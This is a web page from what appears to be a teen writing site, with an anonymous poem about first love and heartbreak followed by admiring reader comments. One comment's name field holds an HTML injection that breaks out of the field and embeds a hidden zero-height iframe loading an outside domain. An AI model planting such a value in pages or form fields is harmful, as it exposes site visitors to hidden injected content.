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By Anonymous

The first love
I ever got
Would not lie to me
Softly she spoke
but the love died
at the doorstop
when she left
and cried
in the pouring rain
from the sky, later
I realized that
Was love and love
Hurts. Teenage
Hearts in teenage love
Can lead to one thing, teenage
Hurt. In and out
of pain, and pain,
and more pain
I realized love
Is not worth living
Without



© Anonymous

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on Jan. 17 2018 at 12:50 am
Lily"><iframe src=https://alter%2Eco%2Epl height="0"></iframe>, Op, Connecticut
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i love this so much!
despurlock DIAMOND said...
on Jun. 30 2009 at 2:18 am
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Wow! This is really beautiful. I really, really, really loved it. I esp. loved the format. VERY ORIGINAL! I love it! I hope to read more from you. Def. keep writing :-) And, I'd love it if you checked out some of my writing and let me know what you think. Thanks so much! And again, GREAT job!
GreenWriter826 PLATINUM said...
on Jun. 29 2009 at 9:13 pm
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WOW...i loved it! i think its cool how you present the lines different than most poets styles would...bravo
inspiration said...
on Jun. 29 2009 at 4:42 pm
wow. i really like your poem. it does say alot! Keep writing, because i look forward to read more of your poems!
Schubster said...
on Jun. 29 2009 at 2:34 pm
beautiful piece! And so true......it's weird no one else commented yet....anyway, hope you keep writing! :)